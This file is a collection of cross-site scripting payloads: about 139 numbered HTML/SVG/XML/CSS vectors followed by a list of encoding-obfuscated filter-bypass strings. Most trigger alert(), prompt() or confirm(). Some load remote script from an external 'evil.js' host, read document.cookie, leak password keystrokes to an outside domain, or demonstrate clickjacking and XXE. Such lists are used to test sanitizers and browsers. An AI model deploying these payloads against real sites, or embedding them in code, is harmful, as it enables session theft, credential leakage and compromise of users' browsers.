<div id="1"><form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>//["'`-->]]>]</div><div id="2"><meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi//["'`-->]]>]</div><div id="3"><meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>//["'`-->]]>]</div><div id="4">0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk'))//["'`-->]]>]</div><div id="5"><script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(5)',384,null,'rsa-dual-use')</script>//["'`-->]]>]</div><div id="6"><script>({set/**/$($){_/**/setter=$,_=1}}).$=alert</script>//["'`-->]]>]</div><div id="7"><input onfocus=alert(7) autofocus>//["'`-->]]>]</div><div id="8"><input onblur=alert(8) autofocus><input autofocus>//["'`-->]]>]</div><div id="9"><a style="-o-link:'javascript:alert(9)';-o-link-source:current">X</a>//["'`-->]]>]</div><div id="10"><video poster=javascript:alert(10)//></video>//["'`-->]]>]</div><div id="11"><svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(11)"></g></svg>//["'`-->]]>]</div><div id="12"><body onscroll=alert(12)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>//["'`-->]]>]</div><div id="13"><x repeat="template" repeat-start="999999">0<y repeat="template" repeat-start="999999">1</y></x>//["'`-->]]>]</div><div id="14"><input pattern=^((a+.)a)+$ value=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!>//["'`-->]]>]</div><div id="15"><script>({0:#0=alert/#0#/#0#(0)})</script>//["'`-->]]>]</div><div id="16">X<x style=`behavior:url(#default#time2)` onbegin=`alert(16)` >//["'`-->]]>]</div><div id="17"><?xml-stylesheet href="javascript:alert(17)"?><root/>//["'`-->]]>]</div><div id="18"><script xmlns="http://www.w3.org/1999/xhtml">&#x61;l&#x65;rt&#40;1)</script>//["'`-->]]>]</div><div id="19"><meta charset="x-mac-farsi">¼script ¾alert(19)//¼/script ¾//["'`-->]]>]</div><div id="20"><script>ReferenceError.prototype.__defineGetter__('name', function(){alert(20)}),x</script>//["'`-->]]>]</div><div id="21"><script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(21)')()</script>//["'`-->]]>]</div><div id="22"><input onblur=focus() autofocus><input>//["'`-->]]>]</div><div id="23"><form id=test onforminput=alert(23)><input></form><button form=test onformchange=alert(2)>X</button>//["'`-->]]>]</div><div id="24">1<set/xmlns=`urn:schemas-microsoft-com:time` style=`beh&#x41vior:url(#default#time2)` attributename=`innerhtml` to=`&lt;img/src=&quot;x&quot;onerror=alert(24)&gt;`>//["'`-->]]>]</div><div id="25"><script src="#">{alert(25)}</script>;1//["'`-->]]>]</div><div id="26">+ADw-html+AD4APA-body+AD4APA-div+AD4-top secret+ADw-/div+AD4APA-/body+AD4APA-/html+AD4-.toXMLString().match(/.*/m),alert(RegExp.input);//["'`-->]]>]</div><div id="27"><style>p[foo=bar{}*{-o-link:'javascript:alert(27)'}{}*{-o-link-source:current}*{background:red}]{background:green};</style>//["'`-->]]>]</div>
<div id="28">1<animate/xmlns=urn:schemas-microsoft-com:time style=behavior:url(#default#time2)  attributename=innerhtml values=&lt;img/src=&quot;.&quot;onerror=alert(28)&gt;>//["'`-->]]>]</div>
<div id="29"><link rel=stylesheet href=data:,*%7bx:expression(alert(29))%7d//["'`-->]]>]</div><div id="30"><style>@import "data:,*%7bx:expression(alert(30))%7D";</style>//["'`-->]]>]</div><div id="31"><frameset onload=alert(31)>//["'`-->]]>]</div><div id="32"><table background="javascript:alert(32)"></table>//["'`-->]]>]</div><div id="33"><a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(33);">XXX</a></a><a href="javascript:alert(2)">XXX</a>//["'`-->]]>]</div><div id="34">1<vmlframe xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute;width:100%;height:100% src=test.vml#xss></vmlframe>//["'`-->]]>]</div><div id="35">1<a href=#><line xmlns=urn:schemas-microsoft-com:vml style=behavior:url(#default#vml);position:absolute href=javascript:alert(35) strokecolor=white strokeweight=1000px from=0 to=1000 /></a>//["'`-->]]>]</div><div id="36"><a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(36)">XXX</a>//["'`-->]]>]</div><div id="37"><!--<img src="--><img src=x onerror=alert(37)//">//["'`-->]]>]</div><div id="38"><comment><img src="</comment><img src=x onerror=alert(38)//">//["'`-->]]>]</div>
<div id="39"><!-- up to Opera 11.52, FF 3.6.28 -->
<![><img src="]><img src=x onerror=alert(39)//">
<!-- IE9+, FF4+, Opera 11.60+, Safari 4.0.4+, GC7+  -->
<svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>//["'`-->]]>]</div>
<div id="40"><style><img src="</style><img src=x onerror=alert(40)//">//["'`-->]]>]</div>
<div id="41"><li style=list-style:url() onerror=alert(41)></li>
<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(41)></div>//["'`-->]]>]</div>
<div id="42"><head><base href="javascript://"/></head><body><a href="/. /,alert(42)//#">XXX</a></body>//["'`-->]]>]</div>
<div id="43"><?xml version="1.0" standalone="no"?>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><style type="text/css">@font-face {font-family: y; src: url("font.svg#x") format("svg");} body {font: 100px "y";}</style></head>
<body>Hello</body>
</html>//["'`-->]]>]</div>
<div id="44"><style>*[{}@import'test.css?]{color: green;}</style>X//["'`-->]]>]</div><div id="45"><div style="font-family:'foo[a];color:red;';">XXX</div>//["'`-->]]>]</div><div id="46"><div style="font-family:foo}color=red;">XXX</div>//["'`-->]]>]</div><div id="47"><svg xmlns="http://www.w3.org/2000/svg"><script>alert(47)</script></svg>//["'`-->]]>]</div><div id="48"><SCRIPT FOR=document EVENT=onreadystatechange>alert(48)</SCRIPT>//["'`-->]]>]</div><div id="49"><OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(49)"></OBJECT>//["'`-->]]>]</div><div id="50"><object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>//["'`-->]]>]</div><div id="51"><embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>//["'`-->]]>]</div><div id="52"><x style="behavior:url(test.sct)">//["'`-->]]>]</div>
<div id="53"><xml id="xss" src="test.htc"></xml>
<label dataformatas="html" datasrc="#xss" datafld="payload"></label>//["'`-->]]>]</div>
<div id="54"><script>[{'a':Object.prototype.__defineSetter__('b',function(){alert(arguments[0])}),'b':['secret']}]</script>//["'`-->]]>]</div><div id="55"><video><source onerror="alert(55)">//["'`-->]]>]</div><div id="56"><video onerror="alert(56)"><source></source></video>//["'`-->]]>]</div><div id="57"><b <script>alert(57)//</script>0</script></b>//["'`-->]]>]</div><div id="58"><b><script<b></b><alert(58)</script </b></b>//["'`-->]]>]</div><div id="59"><div id="div1"><input value="``onmouseover=alert(59)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>//["'`-->]]>]</div><div id="60"><div style="[a]color[b]:[c]red">XXX</div>//["'`-->]]>]</div>
<div id="61"><div  style="\63&#9\06f&#10\0006c&#12\00006F&#13\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \&#xA0or:blue;">XXX</div>//["'`-->]]>]</div>
<div id="62"><!-- IE 6-8 -->
<x '="foo"><x foo='><img src=x onerror=alert(62)//'>
<!-- IE 6-9 -->
<! '="foo"><x foo='><img src=x onerror=alert(2)//'>
<? '="foo"><x foo='><img src=x onerror=alert(3)//'>//["'`-->]]>]</div>
<div id="63"><embed src="javascript:alert(63)"></embed> // O10.10↓, OM10.0↓, GC6↓, FF
<img src="javascript:alert(2)">
<image src="javascript:alert(2)"> // IE6, O10.10↓, OM10.0↓
<script src="javascript:alert(3)"></script> // IE6, O11.01↓, OM10.1↓//["'`-->]]>]</div>
<div id="64"><!DOCTYPE x[<!ENTITY x SYSTEM "http://html5sec.org/test.xxe">]><y>&x;</y>//["'`-->]]>]</div><div id="65"><svg onload="javascript:alert(65)" xmlns="http://www.w3.org/2000/svg"></svg>//["'`-->]]>]</div>
<div id="66"><?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="data:,%3Cxsl:transform version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' id='xss'%3E%3Cxsl:output method='html'/%3E%3Cxsl:template match='/'%3E%3Cscript%3Ealert(66)%3C/script%3E%3C/xsl:template%3E%3C/xsl:transform%3E"?>
<root/>//["'`-->]]>]</div>
<div id="67"><!DOCTYPE x [   <!ATTLIST img xmlns CDATA "http://www.w3.org/1999/xhtml" src CDATA "xx:x"onerror CDATA "alert(67)"onload CDATA "alert(2)">]><img />//["'`-->]]>]</div>
<div id="68"><doc xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:html="http://www.w3.org/1999/xhtml">   <html:style /><x xlink:href="javascript:alert(68)" xlink:type="simple">XXX</x></doc>//["'`-->]]>]</div>
<div id="69"><card xmlns="http://www.wapforum.org/2001/wml"><onevent type="ontimer"><go href="javascript:alert(69)"/></onevent><timer value="1"/></card>//["'`-->]]>]</div><div id="70"><div style=width:1px;filter:glow onfilterchange=alert(70)>x</div>//["'`-->]]>]</div><div id="71"><// style=x:expression\28alert(71)\29>//["'`-->]]>]</div><div id="72"><form><button formaction="javascript:alert(72)">X</button>//["'`-->]]>]</div><div id="73"><event-source src="event.php" onload="alert(73)">//["'`-->]]>]</div><div id="74"><a href="javascript:alert(74)"><event-source src="data:application/x-dom-event-stream,Event:click%0Adata:XXX%0A%0A" /></a>//["'`-->]]>]</div><div id="75"><script<{alert(75)}/></script </>//["'`-->]]>]</div><div id="76"><?xml-stylesheet type="text/css"?><!DOCTYPE x SYSTEM "test.dtd"><x>&x;</x>//["'`-->]]>]</div><div id="77"><?xml-stylesheet type="text/css"?><root style="x:expression(alert(77))"/>//["'`-->]]>]</div><div id="78"><?xml-stylesheet type="text/xsl" href="#"?><img xmlns="x-schema:test.xdr"/>//["'`-->]]>]</div><div id="79"><object allowscriptaccess="always" data="test.swf"></object>//["'`-->]]>]</div><div id="80"><style>*{x:ｅｘｐｒｅｓｓｉｏｎ(alert(80))}</style>//["'`-->]]>]</div><div id="81"><x xmlns:xlink="http://www.w3.org/1999/xlink" xlink:actuate="onLoad" xlink:href="javascript:alert(81)" xlink:type="simple"/>//["'`-->]]>]</div><div id="82"><?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>//["'`-->]]>]</div>
<div id="83"><x:template xmlns:x="http://www.wapforum.org/2001/wml"  x:ontimer="$(x:unesc)j$(y:escape)a$(z:noecs)v$(x)a$(y)s$(z)cript$x:alert(83)"><x:timer value="1"/></x:template>//["'`-->]]>]</div>
<div id="84"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="javascript:alert(84)//#x"/>//["'`-->]]>]</div><div id="85"><x xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load" ev:handler="test.evt#x"/>//["'`-->]]>]</div><div id="86"><body oninput=alert(86)><input autofocus>//["'`-->]]>]</div>
<div id="87"><svg xmlns="http://www.w3.org/2000/svg">
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="javascript:alert(87)"><rect width="1000" height="1000" fill="white"/></a>
</svg>//["'`-->]]>]</div>
<div id="88"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<animation xlink:href="javascript:alert(88)"/>
<animation xlink:href="data:text/xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/>
<image xlink:href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' onload='alert(88)'%3E%3C/svg%3E"/>
<foreignObject xlink:href="javascript:alert(88)"/>
<foreignObject xlink:href="data:text/xml,%3Cscript xmlns='http://www.w3.org/1999/xhtml'%3Ealert(88)%3C/script%3E"/>
</svg>//["'`-->]]>]</div>
<div id="89"><svg xmlns="http://www.w3.org/2000/svg">
<set attributeName="onmouseover" to="alert(89)"/>
<animate attributeName="onunload" to="alert(89)"/>
</svg>//["'`-->]]>]</div>
<div id="90"><!-- Up to Opera 10.63 -->
<div style=content:url(test2.svg)></div>
<!-- Up to Opera 11.64 - see link below -->
<!-- Up to Opera 12.x -->
<div style="background:url(test5.svg)">PRESS ENTER</div>//["'`-->]]>]</div>
<div id="91">[A]
<? foo="><script>alert(91)</script>">
<! foo="><script>alert(91)</script>">
</ foo="><script>alert(91)</script>">
<? foo="><x foo='?><script>alert(91)</script>'>">
<! foo="[[[x]]"><x foo="]foo><script>alert(91)</script>">
<% foo><x foo="%><script>alert(91)</script>">//["'`-->]]>]</div>
<div id="92"><div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div><div id="93"><div style="list-style:url(http://foo.f)\20url(javascript:alert(93));">X</div>//["'`-->]]>]</div>
<div id="94"><svg xmlns="http://www.w3.org/2000/svg">
<handler xmlns:ev="http://www.w3.org/2001/xml-events" ev:event="load">alert(94)</handler>
</svg>//["'`-->]]>]</div>
<div id="95"><svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<feImage><set attributeName="xlink:href" to="data:image/svg+xml;charset=utf-8;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxzY3JpcHQ%2BYWxlcnQoMSk8L3NjcmlwdD48L3N2Zz4NCg%3D%3D"/></feImage>
</svg>//["'`-->]]>]</div>
<div id="96"><iframe src=mhtml:http://html5sec.org/test.html!xss.html></iframe>
<iframe src=mhtml:http://html5sec.org/test.gif!xss.html></iframe>//["'`-->]]>]</div>
<div id="97"><!-- IE 5-9 -->
<div id=d><x xmlns="><iframe onload=alert(97)"></div>
<script>d.innerHTML+='';</script>
<!-- IE 10 in IE5-9 Standards mode -->
<div id=d><x xmlns='"><iframe onload=alert(2)//'></div>
<script>d.innerHTML+='';</script>//["'`-->]]>]</div>
<div id="98"><div id=d><div style="font-family:'sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B'">X</div></div>
<script>with(document.getElementById("d"))innerHTML=innerHTML</script>//["'`-->]]>]</div>
<div id="99">XXX<style>
*{color:gre/**/en !/**/important} /* IE 6-9 Standards mode */
<!--
--><!--*{color:red}   /* all UA */
*{background:url(xx:x //**/\red/*)} /* IE 6-7 Standards mode */
</style>//["'`-->]]>]</div>
<div id="100"><img[a][b]src=x[d]onerror[c]=[e]"alert(100)">//["'`-->]]>]</div><div id="101"><a href="[a]java[b]script[c]:alert(101)">XXX</a>//["'`-->]]>]</div><div id="102"><img src="x` `<script>alert(102)</script>"` `>//["'`-->]]>]</div><div id="103"><script>history.pushState(0,0,'/i/am/somewhere_else');</script>//["'`-->]]>]</div>
<div id="104"><svg xmlns="http://www.w3.org/2000/svg" id="foo">
<x xmlns="http://www.w3.org/2001/xml-events" event="load" observer="foo" handler="data:image/svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%3E%0A%3Chandler%20xml%3Aid%3D%22bar%22%20type%3D%22application%2Fecmascript%22%3E alert(104) %3C%2Fhandler%3E%0A%3C%2Fsvg%3E%0A#bar"/>
</svg>//["'`-->]]>]</div>
<div id="105"><iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>//["'`-->]]>]</div><div id="106"><img src onerror /" '"= alt=alert(106)//">//["'`-->]]>]</div><div id="107"><title onpropertychange=alert(107)></title><title title=></title>//["'`-->]]>]</div>
<div id="108"><!-- IE 5-8 standards mode -->
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=xx:x onerror=alert(108)></a>">
<!-- IE 5-9 standards mode -->
<!a foo=x=`y><img alt="`><img src=xx:x onerror=alert(2)//">
<?a foo=x=`y><img alt="`><img src=xx:x onerror=alert(3)//">//["'`-->]]>]</div>
<div id="109"><svg xmlns="http://www.w3.org/2000/svg">
<a id="x"><rect fill="white" width="1000" height="1000"/></a>
<rect  fill="white" style="clip-path:url(test3.svg#a);fill:url(#b);filter:url(#c);marker:url(#d);mask:url(#e);stroke:url(#f);"/>
</svg>//["'`-->]]>]</div>
<div id="110"><svg xmlns="http://www.w3.org/2000/svg">
<path d="M0,0" style="marker-start:url(test4.svg#a)"/>
</svg>//["'`-->]]>]</div>
<div id="111"><div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div><div id="112"><div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div>//["'`-->]]>]</div>
<div id="113"><div id="x">XXX</div>
<style>#x{font-family:foo[bar;color:green;}#y];color:red;{}</style>//["'`-->]]>]</div>
<div id="114"><x style="background:url('x[a];color:red;/*')">XXX</x>//["'`-->]]>]</div>
<div id="115"><!--[if]><script>alert(115)</script -->
<!--[if<img src=x onerror=alert(2)//]> -->//["'`-->]]>]</div>
<div id="116"><div id="x">x</div>
<xml:namespace prefix="t">
<import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" targetElement="x" to="&lt;img&#11;src=x:x&#11;onerror&#11;=alert(116)&gt;">//["'`-->]]>]</div>
<div id="117"><a href="http://attacker.org">
<iframe src="http://example.org/"></iframe>
</a>//["'`-->]]>]</div>
<div id="118"><div draggable="true" ondragstart="event.dataTransfer.setData('text/plain','malicious code');"><h1>Drop me</h1></div>
<iframe src="http://www.example.org/dropHere.html"></iframe>//["'`-->]]>]</div>
<div id="119"><iframe src="view-source:http://www.example.org/" frameborder="0" style="width:400px;height:180px"></iframe>
<textarea type="text" cols="50" rows="10"></textarea>//["'`-->]]>]</div>
<div id="120"><script>function makePopups(){for (i=1;i<6;i++) {window.open('popup.html','spam'+i,'width=50,height=50');}}</script>
<body><a href="#" onclick="makePopups()">Spam</a>//["'`-->]]>]</div>
<div id="121"><html xmlns="http://www.w3.org/1999/xhtml"
xmlns:svg="http://www.w3.org/2000/svg">
<body style="background:gray">
<iframe src="http://example.com/" style="width:800px; height:350px; border:none; mask: url(#maskForClickjacking);"/>
<svg:svg><svg:mask id="maskForClickjacking" maskUnits="objectBoundingBox" maskContentUnits="objectBoundingBox"><svg:rect x="0.0" y="0.0" width="0.373" height="0.3" fill="white"/><svg:circle cx="0.45" cy="0.7" r="0.075" fill="white"/></svg:mask></svg:svg></body>
</html>//["'`-->]]>]</div>
<div id="122"><iframe sandbox="allow-same-origin allow-forms allow-scripts" src="http://example.org/"></iframe>//["'`-->]]>]</div>
<div id="123"><span class=foo>Some text</span>
<a class=bar href="http://www.example.org">www.example.org</a>
<script src="http://code.jquery.com/jquery-1.4.4.js"></script>
<script>$("span.foo").click(function() {alert('foo');$("a.bar").click();});$("a.bar").click(function() {alert('bar');location="http://html5sec.org";});</script>//["'`-->]]>]</div>
<div id="124"><script src="/\example.com\foo.js"></script> // Safari 5.0, Chrome 9, 10
<script src="\\example.com\foo.js"></script> // Safari 5.0//["'`-->]]>]</div>
<div id="125"><?xml version="1.0"?>
<?xml-stylesheet type="text/xml" href="#stylesheet"?>
<!DOCTYPE doc [
<!ATTLIST xsl:stylesheet id    ID    #REQUIRED>]>
<svg xmlns="http://www.w3.org/2000/svg">
<xsl:stylesheet id="stylesheet" version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">        <xsl:template match="/"><iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(125)"></iframe>        </xsl:template></xsl:stylesheet><circle fill="red" r="40"></circle></svg>//["'`-->]]>]</div>
<div id="126"><object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object>
<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="alert(126)" style="behavior:url(#x);"><param name=postdomevents /></object>//["'`-->]]>]</div>
<div id="127"><svg xmlns="http://www.w3.org/2000/svg" id="x">
<listener event="load" handler="#y" xmlns="http://www.w3.org/2001/xml-events" observer="x"/>
<handler id="y">alert(127)</handler>
</svg>//["'`-->]]>]</div>
<div id="128"><svg><style>&lt;img/src=x onerror=alert(128)// </b>//["'`-->]]>]</div>
<div id="129"><svg>
<image style='filter:url("data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22><script>parent.alert(129)</script></svg>")'>
</svg>//["'`-->]]>]</div>
<div id="130"><math href="javascript:alert(130)">CLICKME</math>
<math>
<maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction>
<maction actiontype="statusline" xlink:href="javascript:alert(3)">CLICKME<mtext>http://http://google.com</mtext></maction>
</math>//["'`-->]]>]</div>
<div id="131"><b>drag and drop one of the following strings to the drop box:</b>
<br/><hr/>jAvascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/>
feed:javascript:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/>
feed:data:text/html,&#x3c;script>alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie)&#x3c;/script>&#x3c;b>
<br/><hr/>feed:feed:javAscript:javAscript:feed:alert('Top Page Location: '+document.location+' Host Page Cookies: '+document.cookie);//<br/><hr/>
<div id="dropbox" style="height: 360px;width: 500px;border: 5px solid #000;position: relative;" ondragover="event.preventDefault()">+ Drop Box +</div>//["'`-->]]>]</div>
<div id="132"><!doctype html>
<form>
<label>type a,b,c,d - watch the network tab/traffic (JS is off, latest NoScript)</label>
<br>
<input name="secret" type="password">
</form>
<!-- injection --><svg height="50px">
<image xmlns:xlink="http://www.w3.org/1999/xlink">
<set attributeName="xlink:href" begin="accessKey(a)" to="//example.com/?a" />
<set attributeName="xlink:href" begin="accessKey(b)" to="//example.com/?b" />
<set attributeName="xlink:href" begin="accessKey(c)" to="//example.com/?c" />
<set attributeName="xlink:href" begin="accessKey(d)" to="//example.com/?d" />
</image>
</svg>//["'`-->]]>]</div>
<div id="133"><!-- `<img/src=xx:xx onerror=alert(133)//--!>//["'`-->]]>]</div>
<div id="134"><xmp>
<%
</xmp>
<img alt='%></xmp><img src=xx:x onerror=aler
*{color:red}</style>//["'`-->]]>]</div>
<div id="135"><?xml-stylesheet type="text/xsl" href="#" ?>
<stylesheet xmlns="http://www.w3.org/TR/WD-xsl">
<template match="/">
<eval>new ActiveXObject(&apos;htmlfile&apos;).parentWindow.alert(135)</eval>
<if expr="new ActiveXObject('htmlfile').parentWindow.alert(2)"></if>
</template>
</stylesheet>//["'`-->]]>]</div>
<div id="136"><form action="" method="post">
<input name="username" value="admin" />
<input name="password" type="password" value="secret" />
<input name="injected" value="injected" dirname="password" />
<input type="submit">
</form>//["'`-->]]>]</div>
<div id="137"><svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href" begin="0" from="javascript:alert(137)" to="&" />
</a>//["'`-->]]>]</div>
<div id="138"><link rel="import" href="test.svg" />//["'`-->]]>]</div><div id="139"><iframe srcdoc="&lt;img src&equals;x:x onerror&equals;alert&lpar;1&rpar;&gt;" />//["'`-->]]>]</div>undefined
<iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<sVg><scRipt %00>alert&lpar;1&rpar; {Opera}
<form><isindex formaction="javascript&colon;confirm(1)"
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
&#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00
<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<svg><script x:href='http://excis3.be/bugbounty/evil.js' {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert&#x28;1&#x29;">X
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a
http://www.google<script .com>alert(document.location)</script
<a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
</style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(
&#00;</form><input type&#61;"date" onfocus="alert(1)">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<iframe/%00/ src=javaSCRIPT&colon;alert(1)
//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
//|\\ <script //|\\ src='http://excis3.be/bugbounty/evil.js'> //|\\ </script //|\\
</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
<a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
</plaintext\></|\><plaintext/onmouseover=prompt(1)
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<iframe style="xg-p:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<embed src="http://excis3.be/bugbounty/evil.js">
<object data="http://excis3.be/bugbounty/evil.js">
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
<%<!--'%><script>alert(1);</script -->
<iframe/src \/\/onload = prompt(1)
<iframe/onreadystatechange=alert(1)
<svg/onload=alert(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
http://www.<script>alert(1)</script .com
<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
<svg><script ?>alert(1)
<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
